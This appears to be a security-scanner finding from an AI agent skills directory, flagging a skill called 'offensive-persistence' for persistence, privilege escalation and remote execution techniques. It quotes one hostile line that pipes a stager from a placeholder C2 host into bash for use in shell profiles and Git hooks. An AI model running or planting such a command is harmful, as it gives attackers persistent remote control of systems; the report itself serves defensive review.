The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill includes code snippets designed to download and execute scripts from a remote server (c2.example.com) directly into a bash shell. Evidence: (curl -s https://c2.example.com/stager | bash &) 2>/dev/null is integrated into shell profile and Git hook persistence examples.
[PERSISTENCE]: The skill documents dozens of mechanisms for maintaining long-term access, including Registry Run keys, Scheduled Tasks, WMI event subscriptions, cron jobs, systemd services, SSH authorized_keys injection, and shell profile backdoors.
[PRIVILEGE_ESCALATION]: Provides instructions for acquiring elevated permissions, including creating Windows services as LocalSystem, injecting malicious PAM modules, and kernel module rootkit installation.
[DYNAMIC_EXECUTION]: Includes C source templates for DLLs, PAM modules, and LD_PRELOAD libraries that are compiled and loaded at runtime to hijack process execution.
[EXTERNAL_DOWNLOADS]: References external payloads from a non-whitelisted domain (c2.example.com) for use in persistent backdoors.
[COMMAND_EXECUTION]: Leverages multiple high-risk system utilities for modifying core OS configurations and bypassing safety controls, such as reg add, schtasks, sc create, systemctl, and insmod.
[DATA_EXFILTRATION]: The remote stager patterns configured in background processes establish command-and-control channels capable of exfiltrating sensitive data.

offensive-persistence